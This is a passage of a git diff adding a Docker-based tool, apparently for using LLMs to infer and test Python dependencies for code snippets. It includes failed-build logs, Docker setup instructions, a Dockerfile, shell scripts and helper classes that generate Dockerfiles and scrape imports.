+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_10:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+end_time: 1773782937.8818858
+total_time: 0.8806986808776855---
+python_version: 2.7
+start_time: 1774295778.108484
+iterations:
+  iteration_1:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_2:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_3:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_4:
+    - python_module: {}
+    - error_type: None
+    - error: |
+         ---\u003e Using cache\n"}
+         ---\u003e 0f9c205411f8\n"}
+        Step 4/5  COPY snippet.py /app"}
+        \n"}
+        {"error""COPY failed file not found in build context or excluded by .dockerignore stat snippet.py file does not exist","errorDetail"{"message""COPY failed file not found in build context or excluded by .dockerignore stat snippet.py file does not exist
+  iteration_5:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_6:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_7:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_8:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_9:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_10:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+end_time: 1774295779.621507
+total_time: 1.5130228996276855---
+python_version: 2.7
+start_time: 1774897759.2362723
+iterations:
+  iteration_1:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_2:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_3:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_4:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_5:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_6:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_7:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_8:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_9:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_10:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+end_time: 1774897760.698594
+total_time: 1.4623217582702637---
+python_version: 2.7
+start_time: 1774898735.7883615
+iterations:
+  iteration_1:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_2:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_3:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_4:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_5:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_6:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_7:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_8:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_9:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_10:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+end_time: 1774898737.3522058
+total_time: 1.5638442039489746
\ No newline at end of file
diff --git a/tools/custom_pllm/.env.example b/tools/custom_pllm/.env.example
new file mode 100644
index 00000000..f1d6e912
--- /dev/null
+++ b/tools/custom_pllm/.env.example
@@ -0,0 +1,11 @@
+# Copy this file to .env and update with your values
+# Run these commands on your HOST machine:
+#   echo "USER=$(whoami)" >> .env
+#   echo "UID=$(id -u)" >> .env
+#   echo "GID=$(id -g)" >> .env
+#   echo "DOCKER_GID=$(stat -c '%g' /var/run/docker.sock)" >> .env
+
+USER=appuser
+UID=1000
+GID=1000
+DOCKER_GID=999
diff --git a/tools/custom_pllm/DOCKER_SETUP.md b/tools/custom_pllm/DOCKER_SETUP.md
new file mode 100644
index 00000000..32b45dce
--- /dev/null
+++ b/tools/custom_pllm/DOCKER_SETUP.md
@@ -0,0 +1,98 @@
+# Docker Setup Instructions
+
+This project requires Docker-in-Docker (DinD) access to build and run containers from within the dev container.
+
+## Quick Start
+
+### Option 1: Using docker-compose (Recommended)
+
+1. **On your HOST machine**, create a `.env` file:
+   ```bash
+   echo "USER=$(whoami)" > .env
+   echo "UID=$(id -u)" >> .env
+   echo "GID=$(id -g)" >> .env
+   echo "DOCKER_GID=$(stat -f '%g' /var/run/docker.sock)" >> .env
+   ```
+
+2. Build and start the container:
+   ```bash
+   docker-compose up -d
+   ```
+
+3. Attach to the container:
+   ```bash
+   docker-compose exec llm-evaluator bash
+   ```
+
+### Option 2: Using the build script
+
+1. **On your HOST machine**, run:
+   ```bash
+   chmod +x rebuild.sh
+   ./rebuild.sh
+   ```
+
+2. Then run the container as shown in the output.
+
+### Option 3: Manual build
+
+1. **Get the Docker socket GID on your HOST**:
+   ```bash
+   stat -c '%g' /var/run/docker.sock
+   ```
+
+2. **Build the image**:
+   ```bash
+   docker build \
+     --build-arg UNAME=$(whoami) \
+     --build-arg UID=$(id -u) \
+     --build-arg GID=$(id -g) \
+     --build-arg DOCKER_GID=$(stat -c '%g' /var/run/docker.sock) \
+     -t llm-evaluator:latest .
+   ```
+
+3. **Run the container**:
+   ```bash
+   docker run -it --rm \
+     -v /var/run/docker.sock:/var/run/docker.sock:rw \
+     -v $(pwd):/app \
+     --name llm-evaluator \
+     llm-evaluator:latest bash
+   ```
+
+## Troubleshooting
+
+### Still getting "Permission denied" errors?
+
+1. **Check if Docker socket is accessible**:
+   ```bash
+   ls -la /var/run/docker.sock
+   ```
+
+2. **Check your groups inside the container**:
+   ```bash
+   groups
+   id
+   ```
+   You should see "docker" in the groups list.
+
+3. **Verify the Docker socket GID matches**:
+   ```bash
+   stat -c '%g' /var/run/docker.sock
+   ```
+   This should match the DOCKER_GID you used during build.
+
+4. **Last resort - make socket world-writable** (on HOST, not recommended for production):
+   ```bash
+   sudo chmod 666 /var/run/docker.sock
+   ```
+
+### Testing Docker access
+
+Inside the container, test Docker access:
+```bash
+docker ps
+docker images
+```
+
+If these work, you're all set!
diff --git a/tools/custom_pllm/Dockerfile b/tools/custom_pllm/Dockerfile
new file mode 100644
index 00000000..c6dee91d
--- /dev/null
+++ b/tools/custom_pllm/Dockerfile
@@ -0,0 +1,52 @@
+FROM python:3.11
+
+ARG UNAME=appuser
+ARG UID=1000
+ARG GID=1000
+ARG DOCKER_GID=999
+
+# Install gosu for better privilege dropping
+RUN apt-get update && apt-get install -y gosu && rm -rf /var/lib/apt/lists/*
+
+# Create user's primary group and user
+RUN groupadd -g $GID -o $UNAME && \
+    useradd -m -u $UID -g $GID -o -s /bin/bash $UNAME
+
+# Store UNAME as environment variable for entrypoint
+ENV UNAME=$UNAME
+    
+# Install Python packages globally (available to all users)
+RUN python -m pip install --upgrade pip && \
+    pip install datetime==5.5 && \
+    pip install python-dateutil==2.9.0.post0 && \
+    pip install transformers==4.41.1 && \
+    pip install accelerate==0.30.1 && \
+    pip install requests==2.31.0 && \
+    pip install docker==7.1.0 && \
+    pip install ollama==0.2.0 && \
+    pip install langchain==0.2.1 && \
+    pip install langchain-openai==0.1.9 && \
+    pip install langchain-community==0.2.1 && \
+    pip install llama-index-llms-ollama==0.1.5 && \
+    pip install jq==1.7.0 && \
+    pip install pypi-json==0.4.0 && \
+    pip install jsonschema==4.22.0 && \
+    pip install load-dotenv==0.1.0 && \
+    pip install pyyaml==6.0.1
+
+# Create app directory and set permissions
+RUN mkdir -p /app && chown $UID:$GID /app
+
+# Copy entrypoint script
+COPY entrypoint.sh /usr/local/bin/entrypoint.sh
+RUN chmod +x /usr/local/bin/entrypoint.sh
+
+# Copy application code (as root, will be accessible by user)
+COPY . /app
+RUN chown -R $UID:$GID /app
+
+# Set working directory
+WORKDIR /app
+
+ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]
+CMD ["tail", "-f", "/dev/null"]
diff --git a/tools/custom_pllm/Pipfile b/tools/custom_pllm/Pipfile
new file mode 100644
index 00000000..648f95aa
--- /dev/null
+++ b/tools/custom_pllm/Pipfile
@@ -0,0 +1,28 @@
+[[source]]
+url = "https://pypi.org/simple"
+verify_ssl = true
+name = "pypi"
+
+[packages]
+datetime = "5.5"
+python-dateutil = "2.9.0.post0"
+transformers = "4.41.1"
+accelerate = "0.30.1"
+requests = "<2.32"
+docker = "7.1.0"
+ollama = "0.2.0"
+langchain = "0.2.1"
+llama-index-llms-ollama = "0.1.5"
+jq = "1.7.0"
+pypi-json = "0.4.0"
+jsonschema = "4.22.0"
+load-dotenv = "0.1.0"
+langchain-community = "0.2.1"
+langchain-openai = "0.1.9"
+pyyaml = "6.0.1"
+
+[dev-packages]
+ipykernel = "*"
+
+[requires]
+python_version = "3.11"
diff --git a/tools/custom_pllm/build.sh b/tools/custom_pllm/build.sh
new file mode 100644
index 00000000..b6f6a38f
--- /dev/null
+++ b/tools/custom_pllm/build.sh
@@ -0,0 +1,57 @@
+#!/bin/bash
+# Script to rebuild the Docker container with proper permissions
+
+# Get current user info
+CURRENT_USER=$(whoami)
+CURRENT_UID=$(id -u)
+CURRENT_GID=$(id -g)
+
+# Get Docker socket GID from host
+# This script should be run on the HOST machine, not inside a container
+if [ -S /var/run/docker.sock ]; then
+    # Use -f on macOS, -c on Linux
+    if [[ "$OSTYPE" == "darwin"* ]]; then
+        DOCKER_SOCKET_GID=$(stat -f '%g' /var/run/docker.sock)
+    else
+        DOCKER_SOCKET_GID=$(stat -c '%g' /var/run/docker.sock)
+    fi
+    echo "Docker socket GID: $DOCKER_SOCKET_GID"
+else
+    echo "Warning: /var/run/docker.sock not found. Using default GID 999"
+    DOCKER_SOCKET_GID=999
+fi
+
+# Build the image
+echo "Building Docker image..."
+docker build \
+    --build-arg UNAME="$CURRENT_USER" \
+    --build-arg UID="$CURRENT_UID" \
+    --build-arg GID="$CURRENT_GID" \
+    --build-arg DOCKER_GID="$DOCKER_SOCKET_GID" \
+    -t pllm:latest \
+    .
+
+if [ $? -ne 0 ]; then
+    echo "Build failed!"
+    exit 1
+fi
+
+echo ""
+echo "Build successful!"
+echo ""
+echo "To run the container with Docker socket access:"
+echo ""
+echo "docker run -it --rm \\"
+echo "  -v /var/run/docker.sock:/var/run/docker.sock:rw \\"
+echo "  -v \$(pwd):/app \\"
+echo "  --name llm-evaluator \\"
+echo "  llm-evaluator:latest"
+echo ""
+echo "Or start it in the background:"
+echo ""
+echo "docker run -d \\"
+echo "  -v /var/run/docker.sock:/var/run/docker.sock:rw \\"
+echo "  -v \$(pwd):/app \\"
+echo "  --name llm-evaluator \\"
+echo "  llm-evaluator:latest"
+echo ""
diff --git a/tools/custom_pllm/docker-compose.yml b/tools/custom_pllm/docker-compose.yml
new file mode 100644
index 00000000..ec942d50
--- /dev/null
+++ b/tools/custom_pllm/docker-compose.yml
@@ -0,0 +1,62 @@
+version: '3.8'
+
+services:
+  pllm:
+    build:
+      context: .
+      dockerfile: Dockerfile
+      args:
+        UNAME: ${USER:-appuser}
+        UID: ${UID:-1000}
+        GID: ${GID:-1000}
+        DOCKER_GID: ${DOCKER_GID:-999}
+      platforms:
+        - linux/amd64
+    
+    image: pllm:latest
+    container_name: pllm-test
+    platform: linux/amd64
+    
+    networks:
+      - pllm-network
+    
+    volumes:
+      # Mount Docker socket for Docker-in-Docker
+      - /var/run/docker.sock:/var/run/docker.sock:rw
+      # Mount hard-gists folder (two directories up)
+      - ../../hard-gists:/gists:rw
+    
+    working_dir: /app
+    
+    # Keep container running
+    stdin_open: true
+    tty: true
+    
+    # Override the default entrypoint to run the command
+    entrypoint: /bin/bash
+    #entrypoint: []
+    #command: >
+    #  bash -c "python test_executor.py -f '/gists/0a2ac74d800a2eff9540/snippet.py' -m 'gemma2' -b 'http://ollama:11434' -l 1 -r 0 && tail -f /dev/null"
+    
+    # Optional: Add environment variables
+    environment:
+      - DOCKER_HOST=unix:///var/run/docker.sock
+  
+  ollama:
+    image: ollama/ollama:latest
+    container_name: ollama
+    restart: unless-stopped
+    
+    networks:
+      - pllm-network
+    
+    ports:
+      - "11434:11434"
+    
+    # Optional: Add environment variables
+    environment:
+      - DOCKER_HOST=unix:///var/run/docker.sock
+
+networks:
+  pllm-network:
+    driver: bridge
diff --git a/tools/custom_pllm/entrypoint.sh b/tools/custom_pllm/entrypoint.sh
new file mode 100644
index 00000000..96e7c830
--- /dev/null
+++ b/tools/custom_pllm/entrypoint.sh
@@ -0,0 +1,31 @@
+#!/bin/bash
+set -e
+
+# Fix Docker socket permissions if it exists
+if [ -S /var/run/docker.sock ]; then
+    # Get the socket's group ID - handle both BSD stat (macOS) and GNU stat (Linux)
+    if stat --version &>/dev/null; then
+        # GNU stat (Linux)
+        SOCK_GID=$(stat -c '%g' /var/run/docker.sock 2>/dev/null || echo "0")
+    else
+        # BSD stat (macOS) - though this should run in Linux container
+        SOCK_GID=$(stat -f '%g' /var/run/docker.sock 2>/dev/null || echo "0")
+    fi
+    
+    # Get the user's supplementary groups
+    USER_GROUPS=$(id -G $UNAME)
+    
+    # Check if user is already in the socket's group
+    if ! echo "$USER_GROUPS" | grep -q "\b$SOCK_GID\b"; then
+        echo "Adding user to Docker socket group (GID: $SOCK_GID)"
+        # Create/use a group with the socket's GID and add user to it
+        GROUP_NAME=$(getent group $SOCK_GID | cut -d: -f1 || echo "dockerhost")
+        if [ "$GROUP_NAME" = "dockerhost" ]; then
+            groupadd -g $SOCK_GID dockerhost 2>/dev/null || true
+        fi
+        usermod -aG $GROUP_NAME $UNAME 2>/dev/null || true
+    fi
+fi
+
+# Execute the CMD as the specified user
+exec gosu $UNAME "$@"
diff --git a/tools/custom_pllm/helpers/build_dockerfile.py b/tools/custom_pllm/helpers/build_dockerfile.py
new file mode 100644
index 00000000..e8a53bf4
--- /dev/null
+++ b/tools/custom_pllm/helpers/build_dockerfile.py
@@ -0,0 +1,171 @@
+# Helper file to build a docker file based off of our model intuitions
+import docker
+from time import sleep
+import os
+import sys
+# from docker import APIClient
+from io import BytesIO
+
+class DockerHelper():
+    def __init__(self, logging=False, image_name="", dockerfile_name="", container_name = "") -> None:
+        # Stores the dockerfile information for output
+        self.dockerfile_out = ""
+        # The name of the docker image- This is unique based on snippet name and python version
+        self.image_name = image_name
+        # Dockerfile name usually Dockerfile-llm-<python version>
+        self.dockerfile_name = dockerfile_name
+        self.container_name = container_name
+        # Connection for docker client
+        try:
+            self.client = docker.from_env()
+        except docker.errors.DockerException as e:
+            if "Permission denied" in str(e):
+                print("\n" + "="*80)
+                print("ERROR: Cannot access Docker socket - Permission Denied")
+                print("="*80)
+                print("\nYou're running inside a dev container without proper Docker socket permissions.")
+                print("\nTo fix this, you need to:")
+                print("1. Exit and rebuild the container with Docker socket access")
+                print("2. On your host, run:")
+                print(f"   docker run -v /var/run/docker.sock:/var/run/docker.sock:rw \\")
+                print(f"              --group-add $(stat -c '%g' /var/run/docker.sock) \\")
+                print(f"              ... <rest of your docker run command>")
+                print("\nOr add this to your docker-compose.yml:")
+                print("   volumes:")
+                print("     - /var/run/docker.sock:/var/run/docker.sock:rw")
+                print("   group_add:")
+                print("     - $(stat -c '%g' /var/run/docker.sock)")
+                print("\nAlternatively, on the host, run:")
+                print(f"   chmod 666 /var/run/docker.sock  # (not recommended for production)")
+                print("="*80 + "\n")
+                raise
+            else:
+                raise
+        # Logging for output
+        self.logging = logging
+        # When an error occurs, we want to know what it was on a previous run
+        self.previous_error = {"error_message": '', "module": ''}
+
+    def query_docker(self):
+        return self.client.api.images()
+
+    # Breaks down the file path to get the folder and the file name
+    # file: The path to the file
+    def get_project_dir(self, file):
+        split_path = file.split('/')
+        file_path = '/'.join(split_path[:-1])
+        file_name = split_path[-1]
+        dir_name = split_path[-2]
+        return file_path, dir_name, file_name
+    
+    # Creates the dockerfile based on the llm information
+    # llm_out: contains the python version and modules
+    # file: The provided file with path
+    def create_dockerfile(self, llm_out, file):
+        # Get the directory and file name
+        project_dir, dir_name, project_file = self.get_project_dir(file)
+        self.dockerfile_out = "" # RESET THE FILE!
+        self.dockerfile_out += f"""# FROM is the found expected Python version\n"""
+        self.dockerfile_out += f"""FROM python:{llm_out['python_version']}\n"""
+        self.dockerfile_out += f"""# Set the working directory to /app\n"""
+        self.dockerfile_out += f"""WORKDIR /app\n"""
+
+        self.dockerfile_out += f"""# Add install commands for all of the python modules\n"""
+        self.dockerfile_out += f"""RUN ["pip","install","--upgrade","pip"]\n"""
+        # Loop through the modules and add these to the docker file as pip installs
+        python_modules = llm_out['python_modules']
+        if self.logging: print(python_modules)
+        for module in python_modules:
+            if type(module) == dict:
+                name = module['module']
+                version = module['version']
+            else:
+                name = module
+                version = python_modules[module]
+
+            # if self.logging: print(type(data))
+            # if self.logging: print(data)
+            if type(version) == str:
+                self.dockerfile_out += f"""RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","{name}=={version}"]\n"""
+            else:
+                self.dockerfile_out += f"""RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","{name}=={version[0]}"]\n"""
+
+        # Copys the snippet to the app dir for running
+        self.dockerfile_out += f"""# Copy the specified directory to /app\n"""
+        self.dockerfile_out += f"""COPY {project_file} /app\n"""
+        self.dockerfile_out += f"""# Run the specified python file\n"""
+        self.dockerfile_out += f"""CMD ["python", "/app/{project_file}"]"""
+
+        # Create the image name based on the file name and the python version
+        self.image_name = f"test/pllm:{dir_name}_{llm_out['python_version']}"
+        self.container_name = f"{dir_name}_{llm_out['python_version']}"
+        self.dockerfile_name = f"Dockerfile-llm-{llm_out['python_version']}"
+        with open(f"{project_dir}/{self.dockerfile_name}", "w") as file:
+            file.write(self.dockerfile_out)
+
+    # Uses the docker api to build the created dockerfiles
+    # Returns true if good and false with the error message if there was an issue
+    def build_dockerfile(self, path, dockerfile=None):
+        if not dockerfile: dockerfile = self.dockerfile_name
+        error_lines = ""
+        project_dir, dir_name, project_file = self.get_project_dir(path)
+        for line in self.client.api.build(path=project_dir, dockerfile=dockerfile, forcerm=True, tag=self.image_name):
+            decoded_line = line.decode('utf-8')
+            if 'ERROR' in decoded_line or 'Could not fetch URL' in decoded_line or 'errorDetail' in decoded_line:
+                error_lines += decoded_line
+            if self.logging: print(decoded_line)
+        
+        if error_lines == "":
+            return True, "", "", ""
+        else:
+            return False, "", error_lines, "BuildError"
+
+    def delete_container(self):
+        try:
+            self.client.containers.get(self.container_name).remove(v=True, force=True)
+        except Exception as e:
+            if self.logging: print(e)
+
+    def delete_image(self):
+        try:
+            self.client.images.remove(image=self.image_name, force=True)
+        except Exception as e:
+            if self.logging: print(e)
+
+    # Runs the container we built to see if the python snippet runs
+    # Returns the logs for analysis
+    def run_container_test(self):
+        self.delete_container()
+        logs = ''
+        try:
+            self.container = self.client.containers.create(self.image_name, name=self.container_name)
+            self.container.start()
+            sleep(10)
+            while(self.container.status == 'running'):
+                # container.logs()
+                sleep(5)
+            if self.logging: print(self.container.status)
+            logs = self.container.logs()
+            self.container.remove(v=True, force=True)
+            self.container = None
+        except docker.errors.ContainerError as e:
+            if self.logging: print(e)
+            if self.container:
+                while(self.container.status == 'running'):
+                    sleep(5)
+                if self.logging: print(self.container.status)
+                logs = self.container.logs()
+                self.container.remove(v=True, force=True)
+                self.container = None
+
+        return logs.decode('utf-8')
+
+def main():
+    dh = DockerHelper(logging=True, image_name="woof:meow", dockerfile_name="", container_name="")
+    dh.run_container_test()
+    # print(dh.query_docker())
+
+if __name__ == "__main__":
+    main()
+
+    print(f"Done")
diff --git a/tools/custom_pllm/helpers/deps_scraper.py b/tools/custom_pllm/helpers/deps_scraper.py
new file mode 100644
index 00000000..b8c123a0
--- /dev/null
+++ b/tools/custom_pllm/helpers/deps_scraper.py
@@ -0,0 +1,185 @@
+# # Get all the python files in a project
+import os
+import sys
+import importlib.util
+import sysconfig
+import requests
+
+class DepsScraper():
+
+    def __init__(self, logging=False) -> None:
+        self.logging = logging
+
+
+    # Method to check if a module is part of the standard library
+    # If it is, then it doesn't exist as a regular import
+    # and shouldn't be included.
+    # Takes module name as an import
+    def is_module_in_standard_library(self, module_name):
+        # spec = importlib.util.find_spec(module_name)
+        # return spec is not None #and spec.origin == "built-in"
+        
+        # Check if the module is built-in
+        if module_name in sys.builtin_module_names:
+            return True
+        elif module_name == 'io' or module_name == 'stringio' or module_name == 'os':
+            return True
+        
+        # Check if the module is part of the standard library
+        module_spec = importlib.util.find_spec(module_name)
+        if module_spec is None or module_spec.origin is None:
+            return False
+        std_lib_path = sysconfig.get_paths()['stdlib']
+        return module_spec.origin.startswith(std_lib_path)
+
+        # # Try to find the module specification
+        # module_spec = importlib.util.find_spec(module_name)
+        # if module_spec is None or module_spec.origin is None:
+        #     return False
+
+        # # Get the standard library paths
+        # std_lib_path = sysconfig.get_paths()['stdlib']
+        # purelib_path = sysconfig.get_paths()['purelib']
+        # platlib_path = sysconfig.get_paths()['platlib']
+
+        # # Normalize paths for comparison
+        # module_origin = os.path.normcase(module_spec.origin)
+        # std_lib_path = os.path.normcase(std_lib_path)
+        # purelib_path = os.path.normcase(purelib_path)
+        # platlib_path = os.path.normcase(platlib_path)
+
+        # # Check if the module's origin is within any of the standard library paths
+        # return (module_origin.startswith(std_lib_path) or 
+        #         module_origin.startswith(purelib_path) or 
+        #         module_origin.startswith(platlib_path))
+
+    # Check to see if a package is on pypi
+    # If it is then it's something we can install
+    def is_package_on_pypi(self, package_name):
+        pypi_url = f"https://pypi.org/pypi/{package_name}/json"
+
+        try:
+            response = requests.get(pypi_url)
+            response.raise_for_status()  # Raise an HTTPError for bad responses (e.g., 404 Not Found)
+            # If the module is on pypi then we know we can import it
+            # We then check if it's standard library
+            if self.is_module_in_standard_library(package_name):
+                return False
+            else:
+                return True
+        except requests.HTTPError as e:
+            if e.response.status_code == 404:
+                return False  # Package not found on PyPI
+            else:
+                raise  # Re-raise other HTTP errors
+
+    
+    # Walk a given folder path
+    # And return the python files in the folder
+    def print_files_in_folder(self, folder_path):
+        project_dirs = []
+        python_files = []
+        for root, dirs, files in os.walk(folder_path):
+            for dir in dirs:
+                print(dir)
+                project_dirs.append(dir)
+            for file_name in files:
+                print(file_name)
+                file_path = os.path.join(root, file_name)
+                
+                file = file_path.split('/')[-1:][0]
+                if '.py' in file and not '.pyc' in file:
+                    # print(file)
+                    python_files.append(file_path)
+        
+        return python_files, project_dirs
+
+
+    # Checks for dot notation in an import and cleans it up
+    def dot_notation(self, word, folders):
+        if '.' in word:
+            for folder in folders:
+                if folder in word:
+                    print(f"folder '{folder}' is in import '{word}'")
+                    return None
+            module = word.strip().split('.')
+            return module[0]
+        else:
+            return word
+
+
+    # Appends a dependency to the list if it doesn't already exist there
+    def append_to_list(self, list, dep):
+        if not dep in list:
+            list.append(dep)
+        return list
+
+    # Checks if a line is a blockquote and flips the flag
+    def block_quote(self, block, line):
+        if '"""' in line:
+            block = not block
+        return block
+
+    """
+        Cleans the dependency list. Removes dot notation and Uppercase modules
+        dep_list: List of dependencies to clean
+        return: returns the clean set of modules
+    """
+    def clean_deps(self, dep_list):
+        imports = []
+        for dep in dep_list:
+            # import_name = self.dot_notation(dep, [])
+            if dep:
+                if dep.istitle():
+                    pass
+                elif dep[0].isdigit():
+                    pass
+                else:
+                    if not self.is_module_in_standard_library(dep):
+                        imports = self.append_to_list(imports, dep)
+        return imports
+
+    # Looks for specific words in an file
+    # file_path: path to the file we're crawling
+    # target_word: the word we're looking for in the file
+    def find_word_in_file(self, file_path, target_word, folders):
+        imports = []
+        block_quote = False
+        try:
+            with open(file_path, 'r') as file:
+                for line_number, line in enumerate(file, start=1):
+                    block_quote = self.block_quote(block_quote, line)
+                    if not block_quote:
+                        if target_word in line:
+                            if self.logging: print(f'Found "{target_word}" in {file_path} at line {line_number}:')
+                            # if self.logging: print(line.strip())  # Print the entire line
+                            if not '#' in line:
+                                stripped = line.strip().split(' ')
+                                for i in range(0, len(stripped)):
+                                    if i == 0 and stripped[i] == 'import':
+                                        # if self.logging: print(f"A: {stripped}")
+                                        # # if stripped[i+1] == '': print(f"BAD_WORD: {file_path}")
